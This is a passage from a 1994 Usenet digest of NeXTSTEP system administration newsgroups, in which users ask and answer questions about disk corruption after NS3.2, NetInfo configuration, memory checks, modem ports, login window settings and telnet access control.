use them. We have over 150 loaded into ours. Two caveats to what I'm saying:
We're running 3.0; and we don't use all of the options you've specified (e.g.
:of), so I'm not guaranteeing each little piece. I'm really talking about the
concept, which I think is what your item is really asking about.
--
Bob Cook bobcook@slac.stanford.edu
Stanford Linear Accelerator Center NeXT mail okay
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: coconut@crash.cts.com (Brian Dear)
Subject: Is my cube's hard disk dying?
Organization: Coconut Computing, Inc.
Date: 19 Jan 94 14:33:38 PST
Message-ID: <1994Jan19.143338.29700@crash>
Back on 22 Dec I ran into a major problem with my cube's hard disk
(it's the original Maxtor 349MB drive provided by NeXT). Basically,
3/4 of the files in the /etc directory suddently disappeared. I rebooted
and fsck found "mangled" inodes. I was able to salvage and have been
running fine until this morning, when we noticed weird stuff happening
on other machines. Turns out half the /etc directory was missing again
on the cube, including /etc/netinfo! So I rebooted and it came back up
after a fsck or two and some salvaging.
Sounds like I have a bad sector or so on my HD or what? This machine was
bought in 1990. No warranty left I suppose. What are my options?
ANy way to do a low-level reformat and surface scan and mark bad sectors?
Any suggestions would be welcome!
-- brian dear
coconut computing, inc.
brian@coconut.com
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: coconut@crash.cts.com (Brian Dear)
Subject: Re: Is my cube's hard disk dying?
Organization: CTS Network Services (CTSNET/crash), San Diego, CA
Date: 19 Jan 94 14:55:28 PST
Message-ID: <1994Jan19.145528.635@crash>
References: <1994Jan19.143338.29700@crash>
Brian Dear (coconut@crash.cts.com) wrote:
:
: Back on 22 Dec I ran into a major problem with my cube's hard disk
: (it's the original Maxtor 349MB drive provided by NeXT). Basically,
: 3/4 of the files in the /etc directory suddently disappeared. I rebooted
: and fsck found "mangled" inodes. I was able to salvage and have been
: running fine until this morning, when we noticed weird stuff happening
: on other machines. Turns out half the /etc directory was missing again
: on the cube, including /etc/netinfo! So I rebooted and it came back up
: after a fsck or two and some salvaging.
:
: Sounds like I have a bad sector or so on my HD or what? This machine was
: bought in 1990. No warranty left I suppose. What are my options?
:
: ANy way to do a low-level reformat and surface scan and mark bad sectors?
: Any suggestions would be welcome!
:
: -- brian dear
: coconut computing, inc.
: brian@coconut.com
:
I would also like to add that this machine is running NS3.2 and has
24MB RAM.
For what it's worth, the machine ran FINE from the day we purchased it
until just last month (December 1993!) ---> the month we installed NS3.2!
In other words, all of our troubles began subsequent to installing NS3.2.
Newsgroups: comp.sys.next.sysadmin
From: kevinw@caveman.fnbc.com (Kevin Williams)
Subject: Mail Groups
Message-ID: <1994Jan19.140520.17758@fnbc.com>
Sender: news@fnbc.com
Organization: First National Bank Of Chicago, Chicago IL, USA
Date: Wed, 19 Jan 94 14:05:20 GMT
I would like to create a mail group that contains other groups
(sub-groups). I keep getting returned mail user unknown. Has anyone
tried this before, I would appreciate any information you may have. Can
this be done?
Thanks
kevinw@fnbc.com
From: me@helser18.res.iastate.edu (My Account)
Newsgroups: comp.sys.next.sysadmin
Subject: How can you tell how much DRAM you have?
Date: 20 Jan 1994 00:48:46 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2hkkde$b55@news.iastate.edu>
How can one find out how much DRAM one has installed without running the
whole boot process on the monitor?
--
*******************IOWA***STATE***UNIVERSITY********************
* Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
* --------------------------------------------------------- *
* He who throws mud loses ground. *
****************************************************************
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mode Changes from DiskCopy
Date: 20 Jan 1994 01:42:17 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2hknhq$8b@news.mic.ucla.edu>
References: <2hk269$21j@news.mic.ucla.edu>
Ivo Welch (root@next.agsm.ucla.edu) wrote:
: Because my DOS partition was 200MB, I ran into the >64MB DOS partition
: bugs of NeXTStep. So, I decided to reformat my hard disk. Easy, I
: thought. Use
: dump 0f - / | (cd /Target ; restore xf -) and voi-la. At the
: end, I get a cryptic message whether I want to set mode/changes to
: '.'. I had no idea what I was doing, so I said yes. (Was this wrong?)
: Unfortunately, now there are about 150 files for which a
: /usr/etc/showmods lists mode changes. The octal codes that come out of
: lsmods makes little sense to me; they do not correspond to those used
: by chmod. For example, lsmods produces
: ./usr/etc/dump 102755 0/8 ...morestuff
: what do the second and third entries mean? Could someone tell me how
: to set these by hand?
: As a result of this problem, I can only log in as root, obviously not
: my favorite:
: Jan 19 10:44:58 next loginwindow[197]: loginwindow: Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0.
: Jan 19 10:45:04 next loginwindow[270]: loginwindow: running /usr/lib/NextStep/Workspace.app/Workspace
: Jan 19 10:45:05 next Workspace[270]: not installed properly. Must be setuid root, setgid wheel. Exiting.
: Thanks for any hints
: /ivo welch
: PS: By the way, I now have 3 DOS 64MB partitions. Unfortunately, NS can
: only see the first. Is this solvable?
--
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
From: jirapa@nextover.pe.utexas.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Power OFF button on intel 3.2: how to remove it ?
Date: 19 Jan 1994 20:37:32 GMT
Organization: The University of Texas at Austin, Austin, Texas
Distribution: usa
Message-ID: <2hk5mc$adc@geraldo.cc.utexas.edu>
Hi,
Would any body know how to remove or disable the power off selection on the
login window for the NeXTSTEP for intell processors?
Jirapa
From: klui@corp.hp.com (Ken Lui)
Newsgroups: comp.sys.next.sysadmin
Subject: Netinfo Query
Date: 20 Jan 1994 03:09:38 GMT
Organization: Hewlett-Packard Company
Distribution: world
Message-ID: <2hksli$q58@hpscit.sc.hp.com>
I have a question regarding Netinfo and making a machine a master
Netinfo server. The other day, my Netinfo database got hosed
(how it happened, I'm not sure--all I know was that I powered
down immediately after I was through printing some documents and
the next time when I booted up my NeXT, my services and other
directories were gone). Anyway, prior to this mishap, I had set
up my NeXTcube (running NS2.1) to be the master Netinfo server
for my network at home (NeXT and Mac). Well, I forgot what
entries I need in the Netinfo database to avoid having the
message:
The following network error has occurred:
Cannot find parent NetInfo server, still looking...
Press 'c' to continue boot without parent server.
See your system administrator if you need help.
appear. Could someone who knows Netinfo well give me some
insights. This is one of the most confusing things about
Netinfo, IMO.
Here's my /etc/hostconfig:
HOSTNAME=krell
INETADDR=192.42.172.3
ROUTER=-NO-
NETMASTER=-YES-
YPDOMAIN=-NO-
TIME=-AUTOMATIC-
IPBROADCAST=-AUTOMATIC-
IPNETMASK=255.255.255.0
I do remember that there were properties that I need to add for
"/", and "/machines/krell". The items I'm not sure about are:
the property for "/":"master". By default, this value is
"./localhost/local". I changed this to "/krell/local". The
other property is for "/machines/krell":"serves". I copied this
from "/machines/localhost" and I left it at its default value
"./local".
So what am I missing?? Any pointers would be greatly
appreciated. EPS, if you're reading this, I know you set up
sutro.sfsu.edu and I got the entry there a long time ago but I no
longer have access to that machine.
Thanks,
Ken
--
Kenneth K.F. Lui, klui@corp.hp.com 3000 Hanover Street M/S 20BJ
Corporate Financial Systems Palo Alto, CA 94304-1112 USA
Core Application Technologies 1.415.857.3230 Fax 1.415.852.8026
From: Mark Crispin <mrc@Tomobiki-Cho.CAC.Washington.EDU>
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: Is my cube's hard disk dying?
Date: Wed, 19 Jan 1994 20:25:33 -0800
Organization: University of Washington
Message-ID: <MS-C.759039933.1103527590.mrc@Tomobiki-Cho.CAC.Washington.EDU>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
To: Brian Dear <coconut@crash.cts.com>
In-Reply-To: <1994Jan19.145528.635@crash>
Brian Dear -
It sounds you got bit by the very same problem that nailed me; a whole
mess of low-numbered inodes got stomped. /etc is one of the first things
written onto the disk and thus its files tend to have low-numbered inodes. I
encountered the problem the same evening I installed 3.2.
Just maybe, now that you have reported the same problem, it might be
taken seriously instead of being labelled as being a fantasy problem or
``karma''.
Newsgroups: comp.sys.next.sysadmin
From: anwar+@cs.cmu.edu (Anwar Mohammed)
Subject: MouseX
Message-ID: <CJwxFy.ME4.3@cs.cmu.edu>
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
Date: Thu, 20 Jan 1994 05:19:09 GMT
I'm having the following problem with the MouseX front end
app (Xfe.app) when I try to start X:
XNextPaste: No such file or directory
exec failed 2
XNextPaste is in /usr/X11/bin, which in my path. Should
it be somewhere else?
-anwar
--
Anwar Mohammed <anwar+@cs.cmu.edu>
Voice: +1 412 268 3043 Fax: +1 412 681 5739 Finger For PGP Public Key
Web:http://www.cs.cmu.edu:8001/Web/People/anwar/{anwar-home,kuwait}.html
Doctoral Student, Computer Science, Carnegie Mellon University
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: moving junked articles to correct place?
Message-ID: <CJwEIy.106@nyro.com>
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
References: <CJp3yx.79t@nyro.com>
Distribution: world usa ba ca na
Date: Wed, 19 Jan 1994 22:30:33 GMT
Lets try this again!
Someone sent me a script that creates the groups for me when an article is
junked.
That was great (thanks Dennis). Now I want to put the articles in junk
where they belong. The problem I am having is that I get a "duplicate"
message in /usr/local/lib/news/log for each article (messgae-id problem).
How do I correct this? I am using cnews.
Ian H. Stewart
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.hardware
From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: color printer ppds needed
Message-ID: <CJwEop.10x@nyro.com>
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
References: <CJp35D.760@nyro.com>
Date: Wed, 19 Jan 1994 22:34:01 GMT
Let's try this again!
Where do I find ppds for any of the following:
HP 1200c ps option
Canon BJC-600 no ps option
QMS 1000 ?
Apple Color Printer ?
I have looked at the NeXT Color Printer and the black tends to bleed into
my colors. I know the Apple Color is the same printer, but it only cost
$445.00.
Any help is appreciated.
Ian H. Stewart
From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Intel NetInfo servers
Date: 19 Jan 1994 15:35:44 -0500
Organization: Collins International Services Company
Message-ID: <2hk5j0$raj@sgate.com>
Has anyone else been having problems cloning a NetInfo database mastered on an
Intel machine? It doesn't seem to want to work for me, keep getting the
Master server is busy error.
------
Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted)
------
From: carl@oversteer.library.uwa.edu.au (Carl Brewer)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Subject: Re: Improved telnetd anyone?
Date: 20 Jan 1994 13:51:00 +0800
Organization: UWA Library
Message-ID: <2hl644$9ul@oversteer.library.uwa.edu.au>
References: <2hbou9$63s@news.intercon.com> <2hdefdINNl3s@rodan.UU.NET> <2hei3oINNlmh@early-bird.think.com> <2higm7$pid@tesuque.cs.sandia.gov>
In article <2higm7$pid@tesuque.cs.sandia.gov>,
Stefan Chakerian <schake@tesuque.cs.sandia.gov> wrote:
>In article <2hei3oINNlmh@early-bird.think.com>,
>Barry Margolin <barmar@think.com> wrote:
>>In article <2hdefdINNl3s@rodan.UU.NET> alby@uunet.uu.net (Anthony Williams) writes:
>>> The program TCP_WRAPPER on info.cert.org will allow or
>>>deny any telnet's,ftp's,fingers, etc.. from any site you specify
>>
>>But he asked for something that would work on a per-user basis.
>>TCP_WRAPPER uses the same allow/deny list for all connections to a port.
>
>Right, and there's no way to know who the user is since telnet asks for a
>login. Probably, the tcp_wrapper is the way to go, otherwise you'd have
>to hack telnetd to look in some sort of ACL.
And if you were to allow anything to try and use an ident server,
then use that as authentication as to who they were, you'd be
mis-using the ident server.
There is *NO* way to determine who is coming from a remote site.
Not a way that is 100% reliable, that is. Who can tell who is
sitting at a Mac/PC/broken UNIX machine ? In short, no-one.
The only practical way to deny access is per site. Even then,
it can be spoofed .... but by UID is not feasable. There are too
many untrustworthy machines.
--
Carl Brewer Ph :61-9-380-1893 | #include \
Systems/Network Officer, Reid Library Fax:61-9-380-1012 | <std_disclaimer.h>
University of Western Australia carl@oversteer.library.uwa.edu.au
Merlin, where are you? Call your Dragon, to weave a mist ....
Newsgroups: comp.sys.next.sysadmin
From: ai969@FreeNet.Carleton.CA (Stev Thomas)
Subject: Re: HELP, can't login
Message-ID: <CJx4rp.MyK@freenet.carleton.ca>
Sender: news@freenet.carleton.ca
Organization: The National Capital FreeNet, Ottawa, Ontario, Canada
Date: Thu, 20 Jan 1994 07:57:24 GMT
AH!
I editted the same file and &#$&@ things up as you have
My next booted and sat there, no login window nothing. I had to
login from my pc and edit the tty file to correct the problem.
This was painfully slow since the next was cycling on something
and giving very little time to the remote login.
If you can login then here is what you can do.
If you have a backup, or the editor saves the previous version of
the tty file (ie tty~) then
cp /etc/tty~ /etc/tty
reboot
If you don't have the previous verison of this file thenyou have
to go in and surgically repair the file. Now I 'damaged' my file
by adding in a carriage return to the line that begins with
' console /usr/lib/NextStep/loginwindow ....
This line is LONG and wraps around the screen. I had put a carriage
return ('\n') in the middle of it, effectively cutting off the
"/user/etc/getty..."
So you may have this problem, don't know. If you do then remove the
new line and save the file and reboot.
Good luck.
Let us know how you made out, so we all may learn.
--
Stev Thomas
Newsgroups: comp.sys.next.sysadmin
From: ai969@FreeNet.Carleton.CA (Stev Thomas)
Subject: Autonfsmount ? root rlogin ?
Message-ID: <CJx56A.n53@freenet.carleton.ca>
Sender: news@freenet.carleton.ca
Organization: The National Capital FreeNet, Ottawa, Ontario, Canada
Date: Thu, 20 Jan 1994 08:06:10 GMT
Hello, help
I cut a CD with all my sources listed on it. I would
like to load the CD and leave it in my CDROM drive and exported
continously. Its not a problem when I am logged in as a user.
I stick the disk in and it mounts, then I can use NFS to export
it. The problem is when I log out, out too comes the disk.
NO, stay it there!! How can I get around this terrible friendly
feature?
Now I would like to be able to login in from another
station as ROOT. But I get "root login refused at this terminal"
What do I do. I trid changing host.equiv .rhosts in '/' and
even the ttys file. NOTHING works. I suspect there is a NetInfo
influence on this? Any suggestions?
please respond via email (at least)
Oh, one last question. With the RS6000 one can backup
onto tape and prevent the tape from rewinding (useful for incre-
mental backups). Is there a method for doing this with the
NeXT, using tar or dump or ???
cheers
--
Stev Thomas
From: pom@katrin.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Form Feed (Page Break)
Date: 20 Jan 1994 12:36:01 GMT
Organization: Johannes Gutenberg-Universitaet Mainz, Germany
Message-ID: <2hltrh$6l7@bambi.zdv.Uni-Mainz.DE>
References: <9401192238.AA19544@pasteur.hsf.uab.edu>
In article <9401192238.AA19544@pasteur.hsf.uab.edu>
jim@pasteur.hsf.uab.edu (Jim Hill) writes:
> We have a user who wants to put a mandatory page break (FF) in an
> Edit document. Anyone done this before?
>
There seems to be no solution to this problem. The best I know is to use
`enscript' (see the man page) - there you can at least determine the
number of lines per page.
--
Klaus Pommerening
Institut fuer Medizinische Statistik und Dokumentation
der Johannes-Gutenberg-Universitaet
D-55101 Mainz, Germany
From: mark@ve6mgs.ampr.ab.ca (Mark Gregory Salyzyn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: cu* device busy???
Message-ID: <CJwApF.593@ve6mgs.ampr.ab.ca>
Date: Wed, 19 Jan 1994 21:08:03 GMT
References: <2hhdg1$mnf@galaxy.ucr.edu>
Organization: VE6MGS Gateway
chi@watserv.ucr.edu (Denny Chuang) writes:
>Could someone explain to me what cua or cub device busy? I have a
>modem connected to COMM2 on my Intel NS 3.2 machine and I have been
>trying to get the communication program to work without any luck!
Do you have a getty active on the port? The getty gets the port if you
continually assert the DCD from the modem, and locks out the cu* access.
There is a configuration parameter in your modem to assert DCD continuously,
or only when a carrier is detected.
If you tip into the modem with cu*, it will lock out the getty's open when
the carrier goes active.
Another explaination, you have a hanging `tip' sitting on the line holding it
open (and asserting DCD and other fiddly bits does not let the `receive'
task of that previous tip to die and dissapear). So far, when this has
happened, a reboot was in order ...
I believe tip also checks the uucp locking files (/usr/spool/uucp/LCK/LCK..*)
as well, so check of one of those files are sitting around ...
Ciao -- Mark
Newsgroups: comp.sys.next.sysadmin
From: bakerb@il.us.swissbank.com (Brian Baker)
Subject: Re: How can you tell how much DRAM you have?
Message-ID: <1994Jan20.142846.23208@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <2hkkde$b55@news.iastate.edu>
Date: Thu, 20 Jan 1994 14:28:46 GMT
Brian Morrison writes
>
> How can one find out how much DRAM one has installed without running the
> whole boot process on the monitor?
>
The info panel of the Workspace will tell you (along with your processor
type and system version).
Brian.
From: mwa@ife.ee.ethz.ch (Marcel Waldvogel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Backing out of a symbolically linked subdirectory
Date: 20 Jan 1994 15:30:40 GMT
Organization: Institut fuer Elektronik, ETH Zuerich, Switzerland
Message-ID: <2hm830$agt@elna.ethz.ch>
References: <westesCJrMD2.108@netcom.com>
Use tcsh and 'set symlinks=ignore' in your ~/.[t]cshrc file.
-Marcel
Newsgroups: comp.sys.next.sysadmin
From: kosmatoo@JSP.UMontreal.CA (Kosmatos Odisseas)
Subject: Re: How can you tell how much DRAM you have?
Message-ID: <CJxoMJ.I7A@cc.umontreal.ca>
Sender: news@cc.umontreal.ca (Administration de Cnews)
Organization: Universite de Montreal
References: <2hkkde$b55@news.iastate.edu>
Date: Thu, 20 Jan 1994 15:06:15 GMT
My Account (me@helser18.res.iastate.edu) wrote:
: How can one find out how much DRAM one has installed without running the
: whole boot process on the monitor?
use the 'hostinfo' program from a shell.
--
Odisseas Kosmatos -- kosmatoo@jsp.umontreal.ca -- NeXTstep is neat.
From: neuss@igd.fhg.de (Christian Neuss )
Newsgroups: comp.sys.next.sysadmin,comp.infosystems.gopher
Subject: Re: gopherd on NSI (problem setting for port 70)
Date: 20 Jan 94 15:14:14 GMT
Organization: IGD Darmstadt
Message-ID: <neuss.759078854@ramazzotti>
References: <CJsnp8.F9@murdoch.acc.Virginia.EDU>
jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) writes:
>I've compiled the gopherd for NSI and am having a strange problem
>getting it to run at port 70. I did add gopher to the NetInfo
>services (for port 70 and tcp). I do have entries in the
>inetd.conf and services. This is something that I've set up
>several times on NeXTs and RS/6000s. Here's a little of the
>diddling I did to try to find out what's wrong:
Hm.. no error messages, no nothing? Nothing on the console?
What you should try is:
1. you might have to use netinfomanager to change /etc/services,
since if netinfo is running the script might not be used.
2. directly connect to port 70 "by hand" and look for error messages:
telnet <hostname> 70
Chris
From: erland@spock.physik.uni-konstanz.de (Erland Wittkoetter)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Help: Trouble with installing IBM 0662 S12, 1GB HardDisk,SCSI
Date: 20 Jan 1994 16:08:01 GMT
Organization: University of Constance
Message-ID: <2hma91$e6n@hermes.uni-konstanz.de>
Keywords: IBM, HardDisk, SCSI
Hello Hardware Experts
I have a IBM 0662 S12, 1GB HardDisk, SCSI and I am not able to connect
this HardDisk to my NextStation (NextStep 3.0). I get always the message:
sd1: Incomplete disk transfer; bytes moved = 0x1dfe, resid = 0x1c48, retry
...
sd1: Incomplete disk transfer - FATAL
Does anyone have had the same problem ? What do I have to do, to
workaround this ?
Thank you very much
Erland Wittkoetter
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From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: UserID collision management
Date: 20 Jan 1994 10:35:02 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401201633.AA03633@guitar.ho.att.com>
My understanding is that NetInfo does not check for Userid collisions when
creating network users. To work around this hassle, I adopted a numbering
convention where network users are in the 1xxx series (e.g., 1001, 1002, ...).
I created one network user numbered 1001 and had hoped that Netinfo would at
least assign network user ids sequentially, starting at 1002. Unfortunately,
netinfo always uses "100" as the default and therefore, it would appear, I must
maintain a list of ids i've used in order to avoid duplicates.
This scheme seems awfully awkward. Is netinfo that primitive or am I missing
something? How should this be managed?
Thanks in advance.
Dan Hurley
Newsgroups: comp.sys.next.sysadmin
From: me@canis.metaworks.de (Ralf Canis)
Subject: RE:How can you tell how much DRAM you have?
Message-ID: <CJx2I8.8n@canis.metaworks.de>
Sender: me@canis.metaworks.de (Ralf Canis)
Date: Thu, 20 Jan 1994 07:08:32 GMT
In comp.sys.next.sysadmin article <2hkkde$b55@news.iastate.edu> you wrote:
> How can one find out how much DRAM one has installed without running the
> whole boot process on the monitor?
Try using hostinfo (terminal window).
Ralf
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From: uunet!lkba!lkb (Larry Blische)
Subject: Is there a bigger panic window?
Message-ID: <1994Jan20.163025.7087@lkba.uucp>
Sender: lkb@lkba.uucp (Larry Blische)
Organization: LKB Associates, Inc.
Date: Thu, 20 Jan 1994 16:30:25 GMT
When my NeXTstation panics all I can see is the end of the panic output in
that tiny panic window. On occasion, I've seen posts which looked to me like
they contained more info than would fit in that window. Where does one find
this info? Am I missing something?
Is there a way to capture the panic output, say to a blank floppy?
Thanks
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From: machang@random.uchicago.edu (Andrew ChinKwang Chang)
Subject: Help: configuring modem
Message-ID: <1994Jan20.182535.6985@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Thu, 20 Jan 1994 18:25:35 GMT
I'm new to modem and NeXT. Can anyone tell me how to configure modem for
NeXT? I mean how to converse with modem and set up the initial strings,
etc. Should I use "tip" as what was mentioned in the manual?
Thanks for any help. Now I use kermit, not SLIP and PPP yet.
-Andrew
From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Illumination of ps(1) output anybody?
Date: Thu, 20 Jan 1994 14:32:11 -0500
Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
Message-ID: <0hDhkva00WBOQ38Bds@andrew.cmu.edu>
In-Reply-To: <2hivti$74l@gpo.gb.swissbank.com>
Excerpts from netnews.comp.sys.next.software: 19-Jan-94 Illumination of
ps(1) outpu.. by Tim Bissell@???
> Does anyone know why the output of the ps(1) command puts some command
> names in parentheses? Are they all children of init(1)? I coulden't
> find any explanation in the ps man page.
Programs are free to change the argument string that they were called
with (read the man pages on execl for more details). This is done for
security reasons by certain programs (like the system daemons) so that
normal users don't get information about how the system is configured
that they should not have. Take a look at the -c option for ps. It is
conventional for programs which do this to leave an entry for ps of the
form " (inetd) ".... I believe that it is conventional for things like
login shells to begin with a "-" like "-zsh (zsh)".
-Chuck
Charles William Swiger -- CMU...*splat*! | 1. You can't fly.
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Failing that: cs4w+@andrew.cmu.edu | 3. Police are not your friends.
NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | 4. Fire burns.
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UserID collision management
Date: 20 Jan 1994 20:15:40 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2hmopc$g70@agate.berkeley.edu>
References: <9401201633.AA03633@guitar.ho.att.com>
In article <9401201633.AA03633@guitar.ho.att.com> dfh@guitar.ho.att.com (Dan Hurley) writes:
>I created one network user numbered 1001 and had hoped that Netinfo would at
>least assign network user ids sequentially, starting at 1002. Unfortunately,
>netinfo always uses "100" as the default and therefore, it would appear, I must
>maintain a list of ids i've used in order to avoid duplicates.
Just a suggestion...
I don't know if this will work, but have you tried changeing the following
lines in /etc/nu.cf. I haven't and I don't know, so you have to experiment.
PWFillHoles = 1 ; 1 -> Fill the holes in the password file
PWUserBase = 100 ; Fill passwd file starting at uid 100
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From: mark@ve6mgs.ampr.ab.ca (Mark Gregory Salyzyn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Power OFF button on intel 3.2: how to remove it ?
Message-ID: <CJxMFu.M2D@ve6mgs.ampr.ab.ca>
Date: Thu, 20 Jan 1994 14:19:04 GMT
References: <2hk5mc$adc@geraldo.cc.utexas.edu>
Organization: VE6MGS Gateway
jirapa@nextover.pe.utexas.edu writes:
>Would any body know how to remove or disable the power off selection on the
>login window for the NeXTSTEP for intell processors?
Try a dwrite of the PowerOffDisable variable for the loginwindow application.
You could also drop into /usr/lib/NextStep/loginwindow.app and edit the
PowerIcon and RestartIcon.tiff files so that they are the same grey background
as on the loginwindow itself (ensuring that someone can't just turn it back on).
I am curious, considering that the big red power switch is only but a small
distance away, why you would be willing to risk a DOS DWEEB user that doesn't
understand the concept of power-up and power-down momentum on UNIX to make
more attractive the only remaining access to screw your filesystem?
Weld a cover plate over the Big Red Switch, they go for the plug in the wall.
Wire them directly into the mains, and they go for the breaker ... ;-/
Ciao -- Mark
Ok, all this gohd dammed security into the system, no one can crack
it, and some a**hole forgot about physical access ...
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From: spock!charlie (Karl Prager)
Subject: Re: AudioCDs on NSFIP; Reading sound data from AudioCDs
Message-ID: <1994Jan20.200613.437@elin-ekt.co.at>
Sender: charlie@elin-ekt.co.at
References: <9401141905.AA13378@Cranach.tms-gmbh.de>
Date: Thu, 20 Jan 1994 20:06:13 GMT
In article <9401141905.AA13378@Cranach.tms-gmbh.de> gerti@tms-gmbh.de (Gerd
Knops) writes:
> Since many people asked for that, I finally decided to write an App,
> that enables you to read sound data from an AudioCD and store it in
> the NeXT .snd format ... ... ...
(cut)
It would be really a super program. But, even if you can solve the problem
with the 'autochecking' from the NeXT side, I was thinking of such a program
by myself. Gerd, a guy from a manufactor of such SCSI-player told me that
this check is controlled also by firmware on the player to inhibit to read
data from an AudioCD whithout setting a Bit in the data stream which
normally inhibit to copy to another digital media eg. DAT and other's. They
do lock all direct CD-data readings to the SCSI-Bus, he was saying. So I
give up before the beginning.
Was he lying for the music companies ?
Think of copyright !
BTW, I did'nt read the discussion before your article.
Charlie.
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From: skeets@cac.stratus.com (Paul Pederson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer
Subject: How To Add New APPS to my Services Menu
Date: 20 Jan 1994 20:36:19 GMT
Organization: Stratus Computer Inc, Marlboro MA
Distribution: na
Message-ID: <2hmq03$7dj@transfer.stratus.com>
Keywords: services menu preferences
I wish to have additional applications available from my Services Menu. I
am running NeXTSTEP 3.0.
I was told that the Services should add themselves, if they are coded to do
so. I look into my .NEXT/services/.applist file which I figure is the
configuration file for the services list. In this file I see the pathname
names of the applications is wish to see.
When I open my Services Preferences window the applications don't show up.
Could someone tell me what to do?
Skeets
PS: We have a PC running NeXTSTEP 3.1 and it shows the applications in its
services menu.
From: mdj2050@u.cc.utah.edu (Matthew D. Jonsen)
Newsgroups: comp.sys.next.sysadmin
Subject: CD & Bernoulli disappears
Date: 20 Jan 1994 13:54:21 -0700
Organization: University Of Utah Computer Center
Message-ID: <2hmr1t$6l6@u.cc.utah.edu>
I just got a bernoulli 150M drive installed on my station. Booting goes
without a hitch. My problem comes later when the icon changes to a big
question mark and now I can't see the bernoulli without re-booting. I've
tried editing the /etc/fstab to include this disk but to no help.
ANY help would be greatly appreciated.
matt jonsen
please e-mail (non-NeXT)
matt.jonsen@m.cc.utah.edu
ps The same thing happens with my CDROM.
From: buzz@cs.tu-berlin.de (Bastian Schlueter)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Does Conner 525ES Streamer work with NeXtstation?
Followup-To: comp.sys.next.hardware
Date: 20 Jan 1994 22:26:07 GMT
Organization: Berlin University of Technology
Message-ID: <2hn0e2$6si@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Hello Everybody,
I have a good offer for Conner 525ES Streamer, and want to know if
anyone had any experience with this thing on a NeXTstation. (Or knows
whether or not it works)
Greetings
Bastian
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From: audiotst!lre@uunet.UU.NET (Louis R. Eagle)
Newsgroups: comp.sys.next.sysadmin
Subject: System Panic
Date: 20 Jan 1994 16:39:30 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401202101.AA01457@audiotst.ap.com>
The following occurs about once a month on our NetInfo/NIS server (NS 3.1/'040 Cube) for a
small mixed NeXT/Sun network.
> Jan 20 08:32:33 audiotst mach: panic: (Cpu 0)
> new_posix_proc(): attempt to create posix proc
> struct for pid 12985, found existing struct; process exists.
Any Ideas?
Louis Eagle
Louis_Eagle@ap.com
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From: ddp@wavesworld.base.bellcore.com (David D. Pascua)
Subject: Re: SLIP and receiving mail
Message-ID: <CJy9EE.C9u@walter.bellcore.com>
Sender: news@walter.bellcore.com
Organization: Bellcore
References: <1994Jan18.162910.2565@rockyd.rockefeller.edu> <1994Jan19.232309.25599@nosc.mil>
Date: Thu, 20 Jan 1994 22:35:01 GMT
In article <1994Jan19.232309.25599@nosc.mil>, ron@nosc.mil (Ron Broersma) writes:
|> The thing we use which works well in our environment is to just NFS mount the
|> /usr/spool/mail directory from the server and use the NextMail app in its
|> native form. Depending on how you are set up, you may need to update the
|> "Spool Dir" in Preferences to point it at the right place.
|>
|> --Ron
Umm, I've never tried doing an NFS mount over a SLIP connection -- I thought
the overhead would be HUGE. But now that I think about it, since NFS is stateless (as compared with AFS anyway), maybe it's not too bad. Anyone
else want to comment on this? Maybe I need to get a faster modem -- I have
a V.32bis.....
One other thing: I know that there has to be some file in the NFS server
that sez which hosts may or may not mount to it. Does this file take
IP addresses or only host names? The reason I ask is that I can ping the
SLIP client using its assigned IP address, but not by using the client's
host name. (My SLIP client's IP address is assigned when the IP connection
is made.)
-Dave
